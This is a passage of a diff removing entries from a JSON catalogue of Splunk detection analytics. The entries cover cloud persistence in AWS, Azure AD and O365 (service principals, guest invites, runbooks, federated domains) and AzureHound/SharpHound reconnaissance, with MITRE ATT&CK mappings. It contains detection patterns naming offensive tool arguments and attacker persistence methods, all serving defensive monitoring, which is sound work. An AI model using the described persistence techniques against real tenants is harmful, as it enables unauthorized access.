`security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_updateloginprofile_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "From IP address $src$, user agent $userAgent$ has trigged an event $eventName$ for updating the existing login profile, potentially giving user $user_arn$ more access privilleges", - "risk_score": 30, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD External Guest User Invited", - "description": "The following analytic detects the invitation of an external guest user within Azure AD. It leverages Azure AD AuditLogs to identify events where an external user is invited, using fields such as operationName and initiatedBy. Monitoring these invitations is crucial as they can lead to unauthorized access if abused. If confirmed malicious, this activity could allow attackers to gain access to internal resources, potentially leading to data breaches or further exploitation of the environment.", - "search": "`azure_monitor_aad` operationName=\"Invite external user\" | rename properties.* as * | rename initiatedBy.user.userPrincipalName as initiatedBy | rename targetResources{}.type as type | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by type, initiatedBy, result, operationName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_external_guest_user_invited_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "initiatedBy", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "External Guest User $user$ initiated by $initiatedBy$", - "risk_score": 45, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure AD Multiple Service Principals Created by SP", - "description": "The following analytic detects when a single service principal in Azure AD creates more than three unique OAuth applications within a 10-minute span. It leverages Azure AD audit logs, specifically monitoring the 'Add service principal' operation initiated by service principals. This behavior is significant as it may indicate an attacker using a compromised or malicious service principal to rapidly establish multiple service principals, potentially staging an attack. If confirmed malicious, this activity could facilitate network infiltration or expansion, allowing the attacker to gain unauthorized access and persist within the environment.", - "search": " `azure_monitor_aad` operationName=\"Add service principal\" properties.initiatedBy.app.appId=* | rename properties.* as * | bucket span=10m _time | rename targetResources{}.displayName as displayName | rename targetResources{}.type as type | rename initiatedBy.app.displayName as src_user | stats min(_time) as firstTime max(_time) as lastTime values(displayName) as displayName dc(displayName) as unique_apps by src_user | where unique_apps > 3 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multiple_service_principals_created_by_sp_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence", - "NOBELIUM Group" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple OAuth applications were created by $src_user$ in a short period of time", - "risk_score": 42, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure AD Multiple Service Principals Created by User", - "description": "The following analytic identifies instances where a single user creates more than three unique OAuth applications within a 10-minute timeframe in Azure AD. It detects this activity by monitoring the 'Add service principal' operation and aggregating data in 10-minute intervals. This behavior is significant as it may indicate an adversary rapidly creating multiple service principals to stage an attack or expand their foothold within the network. If confirmed malicious, this activity could allow attackers to establish persistence, escalate privileges, or access sensitive information within the Azure environment.", - "search": " `azure_monitor_aad` operationName=\"Add service principal\" properties.initiatedBy.user.id=* | rename properties.* as * | bucket span=10m _time | rename targetResources{}.displayName as displayName | stats min(_time) as firstTime max(_time) as lastTime values(displayName) as displayName dc(displayName) as unique_apps by src_user | where unique_apps > 3 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multiple_service_principals_created_by_user_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence", - "NOBELIUM Group" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple OAuth applications were created by $src_user$ in a short period of time", - "risk_score": 42, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure AD Service Principal Created", - "description": "The following analytic detects the creation of a Service Principal in an Azure AD environment. It leverages Azure Active Directory events ingested through EventHub, specifically monitoring the \"Add service principal\" operation. This activity is significant because Service Principals can be used by adversaries to establish persistence and bypass multi-factor authentication and conditional access policies. If confirmed malicious, this could allow attackers to maintain single-factor access to the Azure AD environment, potentially leading to unauthorized access to resources and prolonged undetected activity.", - "search": "`azure_monitor_aad` operationName=\"Add service principal\" properties.initiatedBy.user.id=* | rename properties.* as * | rename targetResources{}.displayName as displayName | rename targetResources{}.type as type | stats count min(_time) as firstTime max(_time) as lastTime values(displayName) as displayName by type, user, result, operationName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_service_principal_created_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence", - "NOBELIUM Group" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "displayName", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Service Principal named $displayName$ created by $user$", - "risk_score": 45, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure Automation Account Created", - "description": "The following analytic detects the creation of a new Azure Automation account within an Azure tenant. It leverages Azure Audit events, specifically the Azure Activity log category, to identify when an account is created or updated. This activity is significant because Azure Automation accounts can be used to automate tasks and orchestrate actions across Azure and on-premise environments. If an attacker creates an Automation account with elevated privileges, they could maintain persistence, execute malicious runbooks, and potentially escalate privileges or execute code on virtual machines, posing a significant security risk.", - "search": " `azure_audit` operationName.localizedValue=\"Create or Update an Azure Automation account\" status.value=Succeeded | dedup object | rename claims.ipaddr as src_ip | rename caller as user | stats count min(_time) as firstTime max(_time) as lastTime values(object) as object by user, src_ip, resourceGroupName, object_path | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_automation_account_created_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new Azure Automation account $object$ was created by $user$", - "risk_score": 63, - "security_domain": "audit", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure Automation Runbook Created", - "description": "The following analytic detects the creation of a new Azure Automation Runbook within an Azure tenant. It leverages Azure Audit events, specifically the Azure Activity log category, to identify when a new Runbook is created or updated. This activity is significant because adversaries with privileged access can use Runbooks to maintain persistence, escalate privileges, or execute malicious code. If confirmed malicious, this could lead to unauthorized actions such as creating Global Administrators, executing code on VMs, and compromising the entire Azure environment.", - "search": " `azure_audit` operationName.localizedValue=\"Create or Update an Azure Automation Runbook\" object!=AzureAutomationTutorial* status.value=Succeeded | dedup object | rename claims.ipaddr as src_ip | rename caller as user | stats count min(_time) as firstTime max(_time) as lastTime by object user, src_ip, resourceGroupName, object_path | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_automation_runbook_created_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new Azure Automation Runbook $object$ was created by $user$", - "risk_score": 63, - "security_domain": "audit", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "O365 Add App Role Assignment Grant User", - "description": "The following analytic detects the addition of an application role assignment grant to a user in Office 365. It leverages data from the `o365_management_activity` dataset, specifically monitoring the \"Add app role assignment grant to user\" operation. This activity is significant as it can indicate unauthorized privilege escalation or the assignment of sensitive roles to users. If confirmed malicious, this could allow an attacker to gain elevated permissions, potentially leading to unauthorized access to critical resources and data within the Office 365 environment.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory Operation=\"Add app role assignment grant to user.\" | stats count min(_time) as firstTime max(_time) as lastTime values(Actor{}.ID) as Actor.ID values(Actor{}.Type) as Actor.Type values(ModifiedProperties{}.Name) as modified_properties_name by user dest ResultStatus Operation | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_add_app_role_assignment_grant_user_filter`", - "tags": { - "analytic_story": [ - "Cloud Federated Credential Abuse", - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has created a new federation setting $modified_properties_name$ on $dest$", - "risk_score": 18, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "O365 Added Service Principal", - "description": "The following analytic detects the addition of new service principal accounts in O365 tenants. It leverages data from the `o365_management_activity` dataset, specifically monitoring for operations related to adding or creating service principals. This activity is significant because attackers can exploit service principals to gain unauthorized access and perform malicious actions within an organization's environment. If confirmed malicious, this could allow attackers to interact with APIs, access resources, and execute operations on behalf of the organization, potentially leading to data breaches or further compromise.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory Operation=\"*Add service principal*\" OR (Operation = \"*principal*\" AND action = \"created\") | stats count values(ModifiedProperties{}.NewValue) as new_value by src_user src_user_type action Operation authentication_service Workload | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_added_service_principal_filter`", - "tags": { - "analytic_story": [ - "Cloud Federated Credential Abuse", - "NOBELIUM Group", - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $src_user$ has created new service principal $new_value$ in AzureActiveDirectory", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "O365 Multiple Service Principals Created by SP", - "description": "The following analytic identifies instances where a single service principal creates more than three unique OAuth applications within a 10-minute timeframe. It leverages O365 logs from the Unified Audit Log, focusing on the 'Add service principal' operation in the Office 365 Azure Active Directory environment. This activity is significant as it may indicate a compromised or malicious service principal attempting to expand control or access within the network. If confirmed malicious, this could lead to unauthorized access and potential lateral movement within the environment, posing a significant security risk.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory Operation=\"Add service principal.\" | bucket span=10m _time | eval len=mvcount('Actor{}.ID') | eval userType = mvindex('Actor{}.ID',len-1) | search userType = \"ServicePrincipal\" | eval displayName = object | stats count earliest(_time) as firstTime latest(_time) as lastTime values(displayName) as displayName dc(displayName) as unique_apps by src_user | where unique_apps > 3 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_multiple_service_principals_created_by_sp_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple OAuth applications were created by $src_user$ in a short period of time", - "risk_score": 42, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "O365 Multiple Service Principals Created by User", - "description": "The following analytic identifies instances where a single user creates more than three unique OAuth applications within a 10-minute window in the Office 365 environment. It leverages O365 logs from the Unified Audit Log, focusing on the 'Add service principal' operation in Azure Active Directory. This activity is significant as it may indicate a compromised user account or unauthorized actions, potentially leading to broader network infiltration or privilege escalation. If confirmed malicious, this behavior could allow attackers to gain persistent access, escalate privileges, or exfiltrate sensitive information.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory Operation=\"Add service principal.\" | bucket span=10m _time | eval len=mvcount('Actor{}.ID') | eval userType = mvindex('Actor{}.ID',len-1) | search userType = \"User\" | eval displayName = object | stats count earliest(_time) as firstTime latest(_time) as lastTime values(displayName) as displayName dc(displayName) as unique_apps by src_user | where unique_apps > 3 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_multiple_service_principals_created_by_user_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple OAuth applications were created by $src_user$ in a short period of time", - "risk_score": 42, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "O365 New Federated Domain Added", - "description": "The following analytic identifies the addition of a new federated domain in an Office 365 environment. This behavior is detected by analyzing Office 365 management activity logs, specifically filtering for Workload=Exchange and Operation=\"Add-FederatedDomain\". The addition of a new federated domain is significant as it may indicate unauthorized changes or potential compromises. If confirmed malicious, attackers could establish a backdoor, bypass security measures, or exfiltrate data, leading to data breaches and unauthorized access to sensitive information. Immediate investigation is required to review the details of the added domain and any concurrent suspicious activities.", - "search": "`o365_management_activity` Operation IN (\"*add*\", \"*new*\") AND Operation=\"*domain*\" | stats count values(ModifiedProperties{}.NewValue) as new_value by user user_agent authentication_service action Workload Operation | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_new_federated_domain_added_filter`", - "tags": { - "analytic_story": [ - "Cloud Federated Credential Abuse", - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has added a new federated domain $new_value$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } } ], "external_reference": [ @@ -507977,1649 +349560,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Detect AzureHound Command-Line Arguments", - "description": "The following analytic detects the execution of the `Invoke-AzureHound` command-line argument, commonly used by the AzureHound tool. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because AzureHound is often used for reconnaissance in Azure environments, potentially exposing sensitive information. If confirmed malicious, this activity could allow an attacker to map out Azure Active Directory structures, aiding in further attacks and privilege escalation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*invoke-azurehound*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.parent_process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_azurehound_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ using AzureHound to enumerate AzureAD.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect AzureHound File Modifications", - "description": "The following analytic detects the creation of specific AzureHound-related files, such as `*-azurecollection.zip` and various `.json` files, on disk. It leverages data from the Endpoint.Filesystem datamodel, focusing on file creation events with specific filenames. This activity is significant because AzureHound is a tool used to gather information about Azure environments, similar to SharpHound for on-premises Active Directory. If confirmed malicious, this activity could indicate an attacker is collecting sensitive Azure environment data, potentially leading to further exploitation or privilege escalation within the cloud infrastructure.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*-azurecollection.zip\", \"*-azprivroleadminrights.json\", \"*-azglobaladminrights.json\", \"*-azcloudappadmins.json\", \"*-azapplicationadmins.json\") by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.user | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_azurehound_file_modifications_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Victim" - ] - } - ], - "message": "A file - $file_name$ was written to disk that is related to AzureHound, a AzureAD enumeration utility, has occurred on endpoint $dest$ by user $user$.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect SharpHound Command-Line Arguments", - "description": "The following analytic detects the execution of SharpHound command-line arguments, specifically `-collectionMethod` and `invoke-bloodhound`. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as SharpHound is commonly used for Active Directory enumeration, which can be a precursor to lateral movement or privilege escalation. If confirmed malicious, this activity could allow an attacker to map out the network, identify high-value targets, and plan further attacks, potentially compromising sensitive information and critical systems.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*-collectionMethod*\",\"*invoke-bloodhound*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Possible SharpHound command-Line arguments identified on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { 